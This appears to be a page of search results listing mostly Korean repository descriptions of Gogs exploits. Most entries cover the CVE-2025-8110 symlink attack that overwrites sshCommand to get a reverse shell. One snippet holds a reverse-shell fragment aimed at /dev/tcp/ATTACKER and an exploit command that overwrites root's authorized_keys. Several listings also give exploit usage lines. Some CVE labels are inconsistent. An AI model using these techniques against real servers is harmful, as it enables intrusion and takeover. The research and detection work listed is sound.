1316 matches found
CVE-2026-25232-PoC
CVE-2026-25232 — Gogs 保護ブランチ削除バイパス（Write → Admin 権限昇格） 概要 フィールド| 詳細 ---|--- CVE| CVE-2026-25232 製品| Gogs（Go Git サービス） 影響を受けるバージョン| 0.13.4 以下 修正バージョン| 0.14.1 CVSS スコア| 中 CWE| CWE-863: 不適切な認可 必要な認証| あり（リポジトリに対する Write 権限） 影響| Write → Admin レベルの操作への権限昇格 説明 CVE-2026-25232 は、Gogs の Web...
CVE-2026-52813-Gogs-RCE
CVE-2026-52813 — Gogs 경로 탐색으로 인한 Git Hooks 원격 코드 실행 방어 중심 분석 보안 연구 / 블루팀용 writeup. 이 저장소는 무기화된 PoC를 포함하지 않습니다. 재현이 필요한 연구자는 공식 advisory에서 참조하는 공개 PoC를 사용하십시오. 항목| 내용 ---|--- CVE| CVE-2026-52813 별칭| GHSA-c39w-43gm-34h5 / GO-2026-5305 영향받는 버전| Gogs /와 결합하면 다른 저장소의 로컬 checkout 내에 악성 hooks/update를 배치...
CVE-2024-39930-PoC
CVE-2024-39930-PoC CVE-2024-39930 gogs ssh 서버 RCE용 익스플로잇 코드...
CVE-2025-8110-PoC
CVE-2025-8110 PoC Python 개념 증명 스크립트 for CVE-2025-8110 — Gogs v0.13.3의 UpdateRepoFile 심볼릭 링크 RCE. 단발성: 악의적인 PUT 요청 자체가 git fetch → sshCommand → 리버스 셸을 트리거합니다. ⚠️ 교육 목적 및 승인된 보안 연구에만 사용하십시오. 본인이 소유하지 않았거나 테스트에 대한 서면 허가가 없는 시스템에서 이 도구를 실행하는 것은 불법입니다. 세부 정보 CVE-2025-8110 에 대한 PoC 영향을 받는 버전: Gogs...
gogs
gogs 여기에서는 SEED Ubuntu 16.04 VM에 실습 환경을 구축합니다. SQL 인젝션 취약점을 공격하기 전에 먼저 VM에 Go Git ServiceGOGS를 설치해야 합니다. VM을 설정하는 단계는 다음과 같습니다. 1단계: 데이터베이스 설치 시스템에 로그인한 후, 라이브러리와 저장소가 업데이트되었는지 확인하기 위해 다음 명령을 실행해야 합니다. $ sudo apt-get -y update 백엔드에서 MySQL 서버를 사용하므로 VM에 MySQL 서버를 설치해야 합니다. 다음 명령으로 설치할 수 있습니다: $ su...
CVE-2025-8110-Gogs-RCE-Exploit
Gogs CVE-2025-8110 RCE 익스플로잇 Gogs의 CVE-2025-8110 에 대한 자동화된 Python 익스플로잇입니다. 이 취약점은 PutContents API를 악용하여 원격 코드 실행RCE을 가능하게 하며, 해당 API는 파일 경로가 심볼릭 링크인지 검증하지 않습니다. 심볼릭 링크를 통해 내부 .git/config 파일을 덮어씀으로써 악의적인 sshCommand를 주입하여 리버스 셸을 트리거할 수 있습니다. 🛠️ 사전 요구 사항 Python 3 및 필요한 종속성이 설치되어 있는지 확인하세요. pip...
gogs-CVE-2025-8110
Gogs CVE-2025-8110 PoC 이 저장소는 Gogs의 원격 코드 실행RCE 취약점인 CVE-2025-8110에 대한 개념 증명PoC을 포함합니다. 이 익스플로잇은 내부 SSH 서버 구현을 대상으로 하여, 공격자가 sshCommand 설정을 통해 악성 명령어를 주입할 수 있게 합니다. 사용법 익스플로잇을 실행하려면 CVE-2025-8110.py 스크립트를 대상 Gogs URL 및 리버스 셸을 위한 수신 호스트/포트와 함께 사용하십시오. python3 CVE-2025-8110.py -u -lh -lp 인수 -u,...
CVE-2025-81110-PoC
CVE-2025-81110-PoC Gogs의 PutContents API에서 부적절한 심볼릭 링크 처리로 인해 로컬 코드 실행이 가능합니다. 이 저장소는 Gogs 0.13.0 미만 버전의 치명적인 취약점에 대한 전문가 수준의 익스플로잇을 포함합니다. 익스플로잇은 Gogs API가 저장소 콘텐츠를 업데이트할 때 파일 유형을 검증하지 못하는 논리적 결함을 이용합니다. 서버 측 Git 훅pre-receive을 가리키는 심볼릭 링크를 주입하면 인증된 사용자가 악성 스크립트로 훅의 콘텐츠를 덮어쓸 수 있습니다. 이후 Git 푸시 작업이...
CVE-2025-8110
CVE-2025-8110 Gogs의 PutContents API에서 부적절한 심볼릭 링크 처리로 인해 로컬 코드 실행이 가능합니다. 이 탐지 방법은 어떻게 작동하나요? 정규식을 사용하여 /user/login의 푸터에서 Gogs 버전Gogs Version: X.X.X을 추출하고, 버전 0.13.3 이하를 실행하는 인스턴스를 CVE-2025-8110에 취약한 것으로 플래그합니다. 이 스크립트를 어떻게 실행하나요? 1. Nuclei를 다운로드하여 설치합니다. 2. 이 저장소를 로컬 시스템에 클론합니다. 3. 다음 명령어를 실행합니다...
CVE-2026-52806
Gogs RCE — git rebase 인수 주입 CWE-88 Gogs라는 이름의 브랜치는 Git에서 위치 인수 대신 --exec 플래그로 해석되며, 리베이스 중 재생된 각 커밋 후에 sh -c 가 실행됩니다. 익스플로잇 작동 방식 1. 사전 점검 — 대상이 Gogs를 실행 중인지 확인하고, 정적 자산의 ?v= 매개변수를 통해 버전을 식별하며, 사용자 등록이 열려 있는지, 캡차로 보호되는지, 비활성화되었는지 확인합니다. 2. 인증 — 자격 증명이 제공되지 않으면 자동 등록캡차 없음을 시도하고, 캡차가 활성화된 경우 대상의 가입...
CVE-2025-8110-gogs-poc
CVE-2025-8110 — Gogs 임의 파일 쓰기 PoC 인증된 사용자가 Gogs에서 임의 파일을 쓸 수 있는 개념 증명PoC입니다. 저장소 외부를 가리키는 심볼릭 링크가 포함된 저장소를 푸시한 다음 API를 통해 해당 링크의 내용을 업데이트하면, 인증된 사용자가 Gogs를 실행 중인 계정의 권한으로 호스트의 파일을 덮어쓸 수 있습니다. 승인된 테스트 및 교육용으로만 사용하세요. 소유한 시스템이나 명시적인 서면 승인을 받은 시스템에서만 실행하세요. 사용으로 인한 책임은 본인에게 있습니다. 작동 방식 1. 기존 계정으로...
cve-2025-8110-GOGS-RCE
GOGS RCE cve-2025-8110 Gogs는 GitHub의 개인 버전과 유사한 경량의 자체 호스팅 Git 서비스로, 저사양 서버에서도 쉽게 실행되도록 설계되었습니다. CVE-2025-8110 취약점은 공격자가 심볼릭 링크를 사용하여 경로 제한을 우회할 수 있게 하는 심각한 보안 결함입니다. .api/config를 가리키는 악의적인 링크를 업로드하면 공격자는 gogs API를 사용하여 sshCommand 매개변수가 포함된 악성 구성 파일을 삽입하고 호스트 서버에서 RCE를 달성할 수 있습니다. 사용법 1. 이 저장소를 로...
CVE-2026-24135
CVE-2026-24135: Gogs의 위키 경로 탐색을 통한 임의 파일 삭제 심각도: 높음 CVSS 7.5 영향 받는 소프트웨어: Gogs 패치 버전: 0.13.4, 0.14.0+dev 보안 권고: GHSA-jp7c-wj6q-3qf2 패치: gogs/gogs8099 요약 GogsGo로 작성된 널리 사용되는 자체 호스팅 Git 서비스에 대한 보안 감사 중 updateWikiPage 함수에서 경로 탐색 취약점을 발견했습니다. 이 취약점을 통해 위키 쓰기 권한이 있는 인증된 사용자가 위키 편집 양식의 oldtitle 매개변수에 경...
CVE-2025-8110
CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' 사용 후 익스플로잇 저장소 정리 python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \ --target-file /root/.ssh/authorizedkeys --content-file /.ssh/idrsa.p...
CVE-2025-8110
CVE-2025-8110 — Gogs 심볼릭 링크 트래버설 → RCE 개요 CVE-2025-8110 은 Gogs자체 호스팅 Git 서비스 = 0.13.3 버전의 치명적인 취약점입니다. PutContents API는 디렉터리 트래버설../에 대해 파일 경로를 검증하지만, 쓰기 전에 심볼릭 링크를 해석하지 않습니다. 인증된 사용자는 서버의 모든 파일을 대상으로 하는 심볼릭 링크가 포함된 커밋을 푸시한 다음, 해당 심볼릭 링크에 PutContents를 호출하여 실제 파일을 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다. 이는 이전...
gogs
👉 DigitalOcean에 배포하고 무료 크레딧 $200를 받으세요! 🔮 비전 Gogs /gɑgz/ 프로젝트는 가장 간편하게 설정할 수 있는 간단하고 안정적이며 확장 가능한 자체 호스팅 Git 서비스를 구축하는 것을 목표로 합니다. Go를 사용하면 Linux, macOS, Windows 및 ARM 기반 시스템을 포함하여 Go가 지원하는 모든 플랫폼에서 독립적인 바이너리 배포가 가능합니다. 📡 개요 사용자 문서는 홈페이지를 방문하세요. 각 릴리스의 변경 사항 목록은 CHANGELOG.md를 참조하세요. 다른 작업을 하기 전에 ...
CVE-2025-8110
RCE - CVE-2025-59528 Gogs = 0.13.3 익스플로잇 $ python3 CVE-2025-8110.py -h usage: CVE-2025-8110.py -h -u URL -lh HOST -lp PORT -user USERNAME -pass PASSWORD -x CVE-2025-8110 Gogs Exploit options: -h, --help show this help message and exit -u, --url URL Gogs base URL e.g., http://127.0.0.1:3000 -lh,...
CVE-2025-8110-Gogs-Remote-Code-Execution
영향받는 소프트웨어: Gogs 자체 호스팅 Git 서비스 0.13.0 이전 버전. 취약점 유형: Git 훅 메커니즘의 명령 주입. 설명: 저장소에 push 권한이 있는 공격자는 post‑receive 훅 스크립트에 명령을 주입하는 악성 Git 훅을 제작하여 Gogs 서버에서 원격 코드 실행을 유발할 수 있습니다...
CVE-2025-8110-Silentium-HTB
CVE-2025-8110 — PoC de RCE en Gogs Silentium / HackTheBox Aviso: Esta herramienta está destinada exclusivamente a fines educativos y pruebas de penetración autorizadas. Úsela solo contra sistemas en los que tenga permiso explícito para probar. Esta es una versión modificada de...
